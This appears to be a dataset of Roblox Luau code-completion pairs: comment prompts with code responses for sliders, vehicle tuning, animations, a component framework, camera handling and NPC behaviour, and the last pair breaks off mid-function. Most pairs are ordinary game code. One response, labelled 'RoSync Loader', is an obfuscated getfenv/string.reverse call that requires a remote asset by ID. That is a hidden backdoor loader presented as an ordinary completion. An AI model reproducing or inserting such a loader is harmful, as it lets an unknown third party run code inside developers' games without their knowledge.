Prompt: -- Properties

Response:
local held = false
local step = 0.1
local percentage = 0

function snap(number, factor)
	if factor == 0 then
		return number
	else
		return math.floor(number/factor+0.5)*factor
	end
end

UIS.InputEnded:connect(function(input, processed)
	if input.UserInputType == Enum.UserInputType.MouseButton1 then
		held = false
	end
end)

SliderBtn.MouseButton1Down:connect(function()
	held = true
end)

RuS.RenderStepped:connect(function(delta)
	if held then
		local MousePos = UIS:GetMouseLocation().X
		local BtnPos = SliderBtn.Position
		local SliderSize = Slider.AbsoluteSize.X
		local SliderPos = Slider.AbsolutePosition.X
		local pos = snap((MousePos-SliderPos)/SliderSize,step)
		percentage = math.clamp(pos,0,1)
		SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset)
		local old = percentage
		wait()
		if old ~= percentage then
			game.Players.LocalPlayer.Character["Vibe Radio"].changevolume:FireServer(percentage)
		end
	end
end)


Prompt: --Fade tween

Response:
local fadeInfo = TweenInfo.new(Fade, Enum.EasingStyle.Sine, Enum.EasingDirection.In)
local strechInfo = TweenInfo.new(Fade / 1.05, Enum.EasingStyle.Quint, Enum.EasingDirection.In)
local fadeGoal = {Transparency = 1}


Prompt: ------[RGB_SLIDER_MOVEMENT, RGB_TEXT_CHANGED]------

Response:
for z = 1, #ColorPickers do
	for i = 1, #RGBSliders[z] do
		----[STOP RGB SLIDER MOVEMENT]----
		local function RGBSliderEnded(Input)
			if Input.UserInputType == Enum.UserInputType.MouseButton1 then
				IsDraggingSliders[i] = false
			end
		end
		RGBSliderHitboxes[z][i].InputEnded:Connect(RGBSliderEnded)

		----[CHECK FOR RGB SLIDER MOVEMENT]----
		local function CheckForRGBSliderMovement()
			if not IsDraggingSliders[i] then
				IsDraggingSliders[i] = true
			end
			while IsDraggingSliders[i] do--and UIS:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
				wait()
				local MouseLocation = Plugin:GetRelativeMousePosition()
				if OldMouseLocation ~= MouseLocation then
					RGBSliderMovement(MouseLocation.X, z, i)
					OldMouseLocation = MouseLocation
				end
			end
			IsDraggingSliders[i] = false
		end
		RGBSliderHitboxes[z][i].MouseButton1Down:Connect(CheckForRGBSliderMovement)

		----[CHECK IF RGB TEXT CHANGED]----
		local function RGBTextChanged()
			if tonumber(RGBInputs[z][i].Text) == nil then
				RGBInputs[z][i]. Text = "0"
			elseif tonumber(RGBInputs[z][i].Text) <= 0 then
				RGBInputs[z][i].Text = "0"
			elseif tonumber(RGBInputs[z][i].Text) >= 256 then
				RGBInputs[z][i].Text = "255"
			end

			PreviewColor[z].BackgroundColor3 = Color3.fromRGB(tonumber(RGBInputs[z][1].Text), tonumber(RGBInputs[z][2].Text), tonumber(RGBInputs[z][3].Text))
			RGBSliders[z][i].Position = UDim2.new(0, PreviewColor[z].BackgroundColor3[rgb[i]] * RGBSliderHitboxes[z][i].AbsoluteSize.X, RGBSliders[z][i].Position.Y.Scale, 0)
			end
		RGBInputs[z][i].FocusLost:Connect(RGBTextChanged)
	end
end


Prompt: --Tune--

Response:
local StockHP = 450		--Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 1	--(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 50	--bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos
local WasteGatePressure = 10	--Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 8/1	--Compression of your car (look up the compression of the engine you are running)
local AntiLag = true	--if true basically keeps the turbo spooled up so less lag

local BOV_Loudness = 6	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.8	--max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 2.3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)


Prompt: --// Events

Response:
local placeEvent = Evt.Rappel:WaitForChild('PlaceEvent')
local ropeEvent = Evt.Rappel:WaitForChild('RopeEvent')
local cutEvent = Evt.Rappel:WaitForChild('CutEvent')


Prompt: -- TODO: retry multiple time if HTTP call fail

Response:
local function getTextureId(id: number): number?
	local assetInfo = MarketplaceService:GetProductInfo(id, Enum.InfoType.Asset)

	if assetInfo.AssetTypeId == Enum.AssetType.Image.Value then
		return id
	elseif assetInfo.AssetTypeId == Enum.AssetType.Decal.Value then
		return HttpService:GetAsync(`http://f3xteam.com/bt/getDecalImageID/{id}`)
	end

	return
end

Remote.OnServerEvent:Connect(function(plr, id: number | string, pos)
	if Helper.Owner ~= plr then
		return
	end

	local assetId = tonumber(tostring(id):match("%d+") or 0) :: number

	if assetId == 0 then
		return
	end

	local textureId = getTextureId(assetId)

	if not textureId then
		return
	end

	if textureId ~= 0 then
		local rayOrigin = Tool.Handle.Position
		local rayDestination = pos

		local rayDirection = rayDestination - rayOrigin

		if rayDirection.Magnitude >= 10 then
			return
		end

		local raycastParams = RaycastParams.new()
		raycastParams.FilterDescendantsInstances = {plr.Character}
		raycastParams.FilterType = Enum.RaycastFilterType.Exclude
		raycastParams.IgnoreWater = true

		local raycastResult = workspace:Raycast(rayOrigin, rayDirection*2, raycastParams)

		if (raycastResult) and raycastResult.Instance then
			if raycastResult.Instance:FindFirstAncestorWhichIsA("Model") then
				if raycastResult.Instance:FindFirstAncestorWhichIsA("Model"):FindFirstChildWhichIsA("Humanoid") then
					return
				end
			end
			if raycastResult.Instance:FindFirstAncestorWhichIsA("Tool") then
				return
			end

			local sprays = {}

			for _, i in ipairs(workspace.Sprays:GetChildren()) do
				if i:GetAttribute("User") then
					if i:GetAttribute("User") == plr.UserId then
						table.insert(sprays, i)
					end
				end
			end

			if #sprays >= 3 then
				if sprays[1] then
					sprays[1]:Destroy()
				end
			end

			Tool.Handle.Spray:Play()

			local object = game.ServerStorage.PaintedObject:Clone()
			object.Decal.Texture =`rbxassetid://{textureId}`
			object.CFrame = CFrame.lookAt(raycastResult.Position, raycastResult.Position - raycastResult.Normal)
			object:SetAttribute("User", plr.UserId)
			object.Parent = workspace.Sprays

			if raycastResult.Instance.Anchored == false then
				object.Anchored = false

				local c0 = raycastResult.Instance.CFrame:Inverse()
				local c1 = object.CFrame:Inverse()

				local weld = Instance.new("Weld")
				weld.Parent = object

				weld.Part0 = raycastResult.Instance
				weld.Part1 = object

				weld.C0 = c0
				weld.C1 = c1
			end
		end
	end
end)


Prompt:
--[[
	Function called upon entering the state
]]

Response:
function PlayerPreGameReady.onEnter(stateMachine, serverPlayer, event, from, to)
	local element = playerReady:Clone()
	local playerName = serverPlayer.player.Name
	element.Name = playerName

	element.Text = playerName

	element.Parent = playerStatusBoard
end


Prompt:
--[[
	CameraUtils - Math utility functions shared by multiple camera scripts
	2018 Camera Update - AllYourBlox
--]]

Response:
local CameraUtils = {}

local function round(num)
	return math.floor(num + 0.5)
end


Prompt: --				{ id = "slash.xml", weight = 10 }

Response:
			},
	toollunge = {
				{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
			},
	wave = {
				{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
			},
	point = {
				{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
			},
	dance = {
				{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
			},
	laugh = {
				{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
			},
	cheer = {
				{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
			},
}


Prompt: --- Sets the hide on 'lost focus' feature.

Response:
function Cmdr:SetHideOnLostFocus(enabled)
	self.HideOnLostFocus = enabled
end


Prompt: -- Apply the mode override

Response: Conf.applyOverride(Queue._gameMode)


Prompt: --[[ Instances ]]

Response:
--
local Humanoid = waitForChild(lplr.Character, "Humanoid")
local Backing = waitForChild(sp, "LoadingBar")
local Bar = waitForChild(Backing, "Bar")


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

script:WaitForChild("Idle")

if not FE then
	for i,v in pairs(car.DriveSeat:GetChildren()) do
		for _,a in pairs(script:GetChildren()) do
			if v.Name==a.Name then v:Stop() wait() v:Destroy() end
		end
	end
	for i,v in pairs(script:GetChildren()) do
		v.Parent=car.DriveSeat
	end

	car.DriveSeat.Idle:Play()

	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		car.DriveSeat.Idle.Pitch = (car.DriveSeat.Idle.SetPitch.Value + car.DriveSeat.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
	end
else
	local handler = car.AC6_FE_Idle
	handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true)
	handler:FireServer("playSound","Idle")
	local pitch=0
	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		pitch = (script.Idle.SetPitch.Value + script.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
		handler:FireServer("updateSound","Idle",script.Idle.SoundId,pitch,script.Idle.Volume)
	end
end


Prompt:
-- ================================================================================
-- InteractionManager
-- ================================================================================
--[[
	This script runs locally for the player.

	This script checks processes local player input on a TextButton and via
	the UserInputService event InputBegan.

	When a player interacts with the TextButton or presses KEY the game GUI
	is opened unless the player is already interacting.
]]


Prompt:
--[[

	Component.Auto(folder)
		-> Create components automatically from descendant modules of this folder
		-> Each module must have a '.Tag' string property
		-> Each module optionally can have '.RenderPriority' number property

	component = Component.FromTag(tag)
		-> Retrieves an existing component from the tag name

	component = Component.new(tag, class [, renderPriority])
		-> Creates a new component from the tag name, class module, and optional render priority

	component:GetAll()
	component:GetFromInstance(instance)
	component:GetFromID(id)
	component:Filter(filterFunc)
	component:WaitFor(instanceOrName)
	component:Destroy()

	component.Added(obj)
	component.Removed(obj)

	-----------------------------------------------------------------------

	A component class must look something like this:

		-- DEFINE
		local MyComponent = {}
		MyComponent.__index = MyComponent

		-- CONSTRUCTOR
		function MyComponent.new(instance)
			local self = setmetatable({}, MyComponent)
			return self
		end

		-- FIELDS AFTER CONSTRUCTOR COMPLETES
		MyComponent.Instance: Instance

		-- OPTIONAL LIFECYCLE HOOKS
		function MyComponent:Init() end                     -> Called right after constructor
		function MyComponent:Deinit() end                   -> Called right before deconstructor
		function MyComponent:HeartbeatUpdate(dt) ... end    -> Updates every heartbeat
		function MyComponent:SteppedUpdate(dt) ... end      -> Updates every physics step
		function MyComponent:RenderUpdate(dt) ... end       -> Updates every render step

		-- DESTRUCTOR
		function MyComponent:Destroy()
		end

	A component is then registered like so:

		local Component = require(Knit.Util.Component)
		local MyComponent = require(somewhere.MyComponent)
		local tag = "MyComponent"

		local myComponent = Component.new(tag, MyComponent)

	Components can be listened and queried:

		myComponent.Added:Connect(function(instanceOfComponent)
			-- New MyComponent constructed
		end)

		myComponent.Removed:Connect(function(instanceOfComponent)
			-- New MyComponent deconstructed
		end)

--]]

Response:
local Maid = require(script.Parent.Maid)
local Signal = require(script.Parent.Signal)
local Promise = require(script.Parent.Promise)
local Thread = require(script.Parent.Thread)
local TableUtil = require(script.Parent.TableUtil)
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")

local IS_SERVER = RunService:IsServer()
local DEFAULT_WAIT_FOR_TIMEOUT = 60
local ATTRIBUTE_ID_NAME = "ComponentServerId"


Prompt: --attack function

Response:
function attack()
	for i,v in pairs(workspace:GetChildren()) do
		if v:FindFirstChild("Humanoid") then
			if v ~= script.Parent then
				if (v.Head.Position - script.Parent.Head.Position).Magnitude < damagerange then
					v.Humanoid:TakeDamage(damage)
				end
			end
		end
	end
	wait(0.3)
end


Prompt:
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks

Response:
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
	local animTracks = animator:GetPlayingAnimationTracks()
	for i, track in ipairs(animTracks) do
		track:Stop(0)
		track:Destroy()
	end
end

for name, fileList in pairs(animNames) do
	configureAnimationSet(name, fileList)
end


Prompt: --Once we've found a WeaponsSystem folder, we try to find a module in it by the same name.

Response:
local WeaponsSystemModule = WeaponsSystemFolder:WaitForChild("WeaponsSystem")
if not WeaponsSystemModule or not WeaponsSystemModule:IsA("ModuleScript") then
	error("No WeaponsSystemModule in the WeaponsSystem found!")
end


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local car = script.Parent.Car.Value
local vl = script.Parent.Values

local strength = 350

local max = 4 --in sps

while wait() do
	if vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0) then
		car.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength)
	else
		car.Body.Creep.BV.MaxForce = Vector3.new(0,0,0)
	end
	car.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1)))
end


Prompt: -- Components will only work on instances parented under these descendants:

Response:
local DESCENDANT_WHITELIST = {workspace, Players}

local Component = {}
Component.__index = Component

local componentsByTag = {}

local function IsDescendantOfWhitelist(instance)
	for _,v in ipairs(DESCENDANT_WHITELIST) do
		if (instance:IsDescendantOf(v)) then
			return true
		end
	end
	return false
end

function Component.FromTag(tag)
	return componentsByTag[tag]
end

function Component.Auto(folder)
	local function Setup(moduleScript)
		local m = require(moduleScript)
		assert(type(m) == "table", "Expected table for component")
		assert(type(m.Tag) == "string", "Expected .Tag property")
		Component.new(m.Tag, m, m.RenderPriority)
	end
	for _,v in ipairs(folder:GetDescendants()) do
		if (v:IsA("ModuleScript")) then
			Setup(v)
		end
	end
	folder.DescendantAdded:Connect(function(v)
		if (v:IsA("ModuleScript")) then
			Setup(v)
		end
	end)
end

function Component.new(tag, class, renderPriority)

	assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag))
	assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class))
	assert(type(class.new) == "function", "Class must contain a .new constructor function")
	assert(type(class.Destroy) == "function", "Class must contain a :Destroy function")
	assert(componentsByTag[tag] == nil, "Component already bound to this tag")

	local self = setmetatable({}, Component)

	self.Added = Signal.new()
	self.Removed = Signal.new()

	self._maid = Maid.new()
	self._lifecycleMaid = Maid.new()
	self._tag = tag
	self._class = class
	self._objects = {}
	self._instancesToObjects = {}
	self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function")
	self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function")
	self._hasRenderUpdate = (type(class.RenderUpdate) == "function")
	self._hasInit = (type(class.Init) == "function")
	self._hasDeinit = (type(class.Deinit) == "function")
	self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value
	self._lifecycle = false
	self._nextId = 0

	self._maid:GiveTask(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance)
		if (IsDescendantOfWhitelist(instance)) then
			self:_instanceAdded(instance)
		end
	end))

	self._maid:GiveTask(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance)
		self:_instanceRemoved(instance)
	end))

	self._maid:GiveTask(self._lifecycleMaid)

	do
		local b = Instance.new("BindableEvent")
		for _,instance in ipairs(CollectionService:GetTagged(tag)) do
			if (IsDescendantOfWhitelist(instance)) then
				local c = b.Event:Connect(function()
					self:_instanceAdded(instance)
				end)
				b:Fire()
				c:Disconnect()
			end
		end
		b:Destroy()
	end

	componentsByTag[tag] = self
	self._maid:GiveTask(function()
		componentsByTag[tag] = nil
	end)

	return self

end

function Component:_startHeartbeatUpdate()
	local all = self._objects
	self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
		for _,v in ipairs(all) do
			v:HeartbeatUpdate(dt)
		end
	end)
	self._lifecycleMaid:GiveTask(self._heartbeatUpdate)
end

function Component:_startSteppedUpdate()
	local all = self._objects
	self._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
		for _,v in ipairs(all) do
			v:SteppedUpdate(dt)
		end
	end)
	self._lifecycleMaid:GiveTask(self._steppedUpdate)
end

function Component:_startRenderUpdate()
	local all = self._objects
	self._renderName = (self._tag .. "RenderUpdate")
	RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt)
		for _,v in ipairs(all) do
			v:RenderUpdate(dt)
		end
	end)
	self._lifecycleMaid:GiveTask(function()
		RunService:UnbindFromRenderStep(self._renderName)
	end)
end

function Component:_startLifecycle()
	self._lifecycle = true
	if (self._hasHeartbeatUpdate) then
		self:_startHeartbeatUpdate()
	end
	if (self._hasSteppedUpdate) then
		self:_startSteppedUpdate()
	end
	if (self._hasRenderUpdate) then
		self:_startRenderUpdate()
	end
end

function Component:_stopLifecycle()
	self._lifecycle = false
	self._lifecycleMaid:DoCleaning()
end

function Component:_instanceAdded(instance)
	if (self._instancesToObjects[instance]) then return end
	if (not self._lifecycle) then
		self:_startLifecycle()
	end
	self._nextId = (self._nextId + 1)
	local id = (self._tag .. tostring(self._nextId))
	if (IS_SERVER) then
		instance:SetAttribute(ATTRIBUTE_ID_NAME, id)
	end
	local obj = self._class.new(instance)
	obj.Instance = instance
	obj._id = id
	self._instancesToObjects[instance] = obj
	table.insert(self._objects, obj)
	if (self._hasInit) then
		Thread.Spawn(function()
			if (self._instancesToObjects[instance] ~= obj) then return end
			obj:Init()
		end)
	end
	self.Added:Fire(obj)
	return obj
end

function Component:_instanceRemoved(instance)
	self._instancesToObjects[instance] = nil
	for i,obj in ipairs(self._objects) do
		if (obj.Instance == instance) then
			if (self._hasDeinit) then
				obj:Deinit()
			end
			if (IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil) then
				instance:SetAttribute(ATTRIBUTE_ID_NAME, nil)
			end
			self.Removed:Fire(obj)
			obj:Destroy()
			obj._destroyed = true
			TableUtil.FastRemove(self._objects, i)
			break
		end
	end
	if (#self._objects == 0 and self._lifecycle) then
		self:_stopLifecycle()
	end
end

function Component:GetAll()
	return TableUtil.CopyShallow(self._objects)
end

function Component:GetFromInstance(instance)
	return self._instancesToObjects[instance]
end

function Component:GetFromID(id)
	for _,v in ipairs(self._objects) do
		if (v._id == id) then
			return v
		end
	end
	return nil
end

function Component:Filter(filterFunc)
	return TableUtil.Filter(self._objects, filterFunc)
end

function Component:WaitFor(instance, timeout)
	local isName = (type(instance) == "string")
	local function IsInstanceValid(obj)
		return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance))
	end
	for _,obj in ipairs(self._objects) do
		if (IsInstanceValid(obj)) then
			return Promise.Resolve(obj)
		end
	end
	local lastObj = nil
	return Promise.FromEvent(self.Added, function(obj)
		lastObj = obj
		return IsInstanceValid(obj)
	end):Then(function()
		return lastObj
	end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT)
end

function Component:Destroy()
	self._maid:Destroy()
end

return Component


Prompt:
-- Register's a newly added Motor6D
-- into the provided joint rotator.

Response:
function CharacterRealism:AddMotor(rotator, motor)
	local parent = motor.Parent

	if parent and parent.Name == "Head" then
		parent.CanCollide = false
	end

	-- Wait until this motor is marked as active
	-- before attempting to use it in the rotator.

	Util:PromiseValue(motor, "Active", function ()
		local data =
		{
			Motor = motor;
			C0 = motor.C0;
		}

		-- If it can be found, use the source RigAttachment for this Motor6D
		-- joint instead of using the static C0 value. This is intended for R15.

		Util:PromiseChild(motor.Part0, motor.Name .. "RigAttachment", function (origin)
			if origin:IsA("Attachment") then
				data.Origin = origin
				data.C0 = nil
			end
		end)

		-- Add this motor to the rotator
		-- by the name of its Part1 value.

		local id = motor.Part1.Name
		rotator.Motors[id] = data
	end)
end


Prompt: --// # key, Cruise

Response:
mouse.KeyDown:connect(function(key)
	if key=="." then
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.CruiseEvent:FireServer(true)
	end
end)


Prompt:
--//INSPARE//--
--SS3.57--

Response: script.Parent:WaitForChild("CC")


Prompt:
--[[**
	ensures value is a number where min <= value

	@param min The minimum to use

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.numberMin(min)
	return function(value)
		local success, errMsg = t.number(value)
		if not success then
			return false, errMsg or ""
		end
		if value >= min then
			return true
		else
			return false, string.format("number >= %d expected, got %d", min, value)
		end
	end
end


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 1350		-- Front brake force
	Tune.RBrakeForce	= 1550		-- Rear brake force
	Tune.PBrakeForce	= 2500		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt:
--[=[
	The same as `SetFiler`, except clears the custom value
	for any player that passes the predicate.
]=]

Response:
function RemoteProperty:ClearFilter(predicate: (Player) -> boolean)
	for _, player in ipairs(Players:GetPlayers()) do
		if predicate(player) then
			self:ClearFor(player)
		end
	end
end


Prompt: -- declarations

Response:
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")


Prompt:
-- a: amplitud
-- p: period

Response:
local function outElastic(t,a,p,b, c, d)
  b,c,d = default(b,c,d)
  if t == 0 then return b end

  t = t / d

  if t == 1 then return b + c end

  if not p then p = d * 0.3 end

  local s

  if not a or a < abs(c) then
    a = c
    s = p / 4
  else
    s = p / (2 * pi) * asin(c/a)
  end

  return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b
end


Prompt: --// Bullet Physics

Response:
	BulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop
	BulletSpeed = 2750; -- Bullet Speed
	BulletSpread = 0; -- How much spread the bullet has

	ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
	ExploSpeed = 600; -- Speed for explosive rounds

	BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 625		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 0			--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 14000		--		Use sliders to manipulate values
	Tune.Redline		= 15000
	Tune.EqPoint		= 6000
	Tune.PeakSharpness	= 5.5
	Tune.CurveMult		= 0.07

	Tune.ElectricHorsepower		= 250
	Tune.ElectricEqPoint		= 10000
	Tune.ElectricPeakSharpness	= 1.5
	Tune.ElectricCurveMult		= .01

	Tune.InclineComp	= 1.2		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 500		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 250		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 1000		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
	Tune.ShiftTime		= .025
	Tune.FlyWheel		= 50
	Tune.CacheInc		= 50

	--Turbo Settings
	Tune.Aspiration		= "Natural"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger											]]

	Tune.Boost			= 8		--Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 50		--Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 8.2			--The compression ratio (look it up)


Prompt: -- Main function that will be called when a player joins the game

Response:
local function PlayerJoined(player)
	-- Secondary function to remove unwanted meshes from the player's character
	local function RemoveMeshes(character)
		-- Wait for the humanoid to load
		local humanoid = character:WaitForChild("Humanoid")

		-- Wait for a short time to ensure all accessories are loaded properly
		task.wait()

		-- Modify the description of the humanoid to reset its appearance
		local currentDescription = humanoid:GetAppliedDescription()
		currentDescription.Head = 0
		currentDescription.Torso = 0
		currentDescription.LeftArm = 0
		currentDescription.RightArm = 0
		currentDescription.LeftLeg = 0
		currentDescription.RightLeg = 0
		humanoid:ApplyDescription(currentDescription)

		-- Remove any unwanted accessories that are not attached to the character's head
		for _, accessory in pairs(character:GetChildren()) do
			if accessory:IsA("Accessory") then
				local handle = accessory:FindFirstChild("Handle")
				if handle then
					local weld = FindChildOfClassRecursive(accessory, "Weld") -- Use the recursive search function here
					if weld then
					end
					if weld and weld.Part1.Name ~= character:FindFirstChild("Head").Name then
						accessory:Destroy()
					end
				end
			end
		end
	end

	-- Connect the RemoveMeshes function to the CharacterAppearanceLoaded event of the player
	player.CharacterAppearanceLoaded:Connect(RemoveMeshes)
end


Prompt: --[[ Last synced 12/17/2020 10:32 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt:
--------------------------------------------------------------------------------
-- Popper.lua
-- Prevents your camera from clipping through walls.
--------------------------------------------------------------------------------

Response:
local Players = game:GetService('Players')
local Collection = game:GetService("CollectionService")

local FFlagUserPoppercamLooseOpacityThreshold do
	local success, enabled = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserPoppercamLooseOpacityThreshold")
	end)
	FFlagUserPoppercamLooseOpacityThreshold = success and enabled
end

local camera = game.Workspace.CurrentCamera

local min = math.min
local tan = math.tan
local rad = math.rad
local inf = math.huge
local ray = Ray.new

local function eraseFromEnd(t, toSize)
	for i = #t, toSize + 1, -1 do
		t[i] = nil
	end
end

local nearPlaneZ, projX, projY do
	local function updateProjection()
		local fov = rad(camera.FieldOfView)
		local view = camera.ViewportSize
		local ar = view.X/view.Y

		projY = 2*tan(fov/2)
		projX = ar*projY
	end

	camera:GetPropertyChangedSignal('FieldOfView'):Connect(updateProjection)
	camera:GetPropertyChangedSignal('ViewportSize'):Connect(updateProjection)

	updateProjection()

	nearPlaneZ = camera.NearPlaneZ
	camera:GetPropertyChangedSignal('NearPlaneZ'):Connect(function()
		nearPlaneZ = camera.NearPlaneZ
	end)
end

local blacklist = {} do
	local charMap = {}

	local function refreshIgnoreList()
		blacklist = {unpack(Collection:GetTagged("IgnoreCamera"))}
		local n = #blacklist + 1
		for _, character in pairs(charMap) do
			blacklist[n] = character
			n = n + 1
		end
	end

	local function OnIgnoreCollectionUpdated(instance)
		refreshIgnoreList()
	end

	local function playerAdded(player)
		local function characterAdded(character)
			charMap[player] = character
			refreshIgnoreList()
		end
		local function characterRemoving()
			charMap[player] = nil
			refreshIgnoreList()
		end

		player.CharacterAdded:Connect(characterAdded)
		player.CharacterRemoving:Connect(characterRemoving)
		if player.Character then
			characterAdded(player.Character)
		end
	end

	local function playerRemoving(player)
		charMap[player] = nil
		refreshIgnoreList()
	end

	Collection:GetInstanceAddedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated)
	Collection:GetInstanceRemovedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated)
	Players.PlayerAdded:Connect(playerAdded)
	Players.PlayerRemoving:Connect(playerRemoving)

	for _, instance in next,Collection:GetTagged("IgnoreCamera") do
		OnIgnoreCollectionUpdated(instance)
	end
	for _, player in ipairs(Players:GetPlayers()) do
		playerAdded(player)
	end
	refreshIgnoreList()
end


Prompt:
--[[
function playsound(time)
	nextsound=time+5+(math.random()*5)
	local randomsound=sounds[math.random(1,#sounds)]
	randomsound.Volume=.5+(.5*math.random())
	randomsound.Pitch=.5+(.5*math.random())
	randomsound:Play()
end
--]]

Response:
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
	local _,time=wait(1/3)
	humanoids={}
	populatehumanoids(game.Workspace)
	closesttarget=nil
	closestdist=sightrange
	local creator=sp:FindFirstChild("creator")
	for i,h in ipairs(humanoids) do
		if h and h.Parent~=nil then
			if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then
				local plr=game.Players:GetPlayerFromCharacter(h.Parent)
				if creator==nil or plr==nil or creator.Value~=plr then
					local t=h.Parent:FindFirstChild("Torso")
					if t~=nil then
						local dist=(t.Position-Torso.Position).magnitude
						if dist<closestdist then
							closestdist=dist
							closesttarget=t
						end
					end
				end
			end
		end
	end
	if closesttarget~=nil then
		if not chasing then
			--playsound(time)
			chasing=true
			Humanoid.WalkSpeed=runspeed
		end
		Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
		if math.random()<.5 then
			attack(time,closesttarget.Position)
		end
	else
		if chasing then
			chasing=false
			Humanoid.WalkSpeed=wonderspeed
		end
		if time>nextrandom then
			nextrandom=time+5+(math.random()*5)
			local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(math.random(),math.random(),math.random()))*40)
			Humanoid:MoveTo(randompos,game.Workspace.Terrain)
		end
	end


Prompt: --Hide cmdbar and request command when FocusLost

Response:
local function setupEnterPress(props)
	props.textBox.FocusLost:connect(function(enter)
		if props.mainParent.Name ~= "CmdBar" or props.specificArg then
			if props.suggestionDisplayed > 0 then
				selectSuggestion(props, props.specificArg)
			end
		else
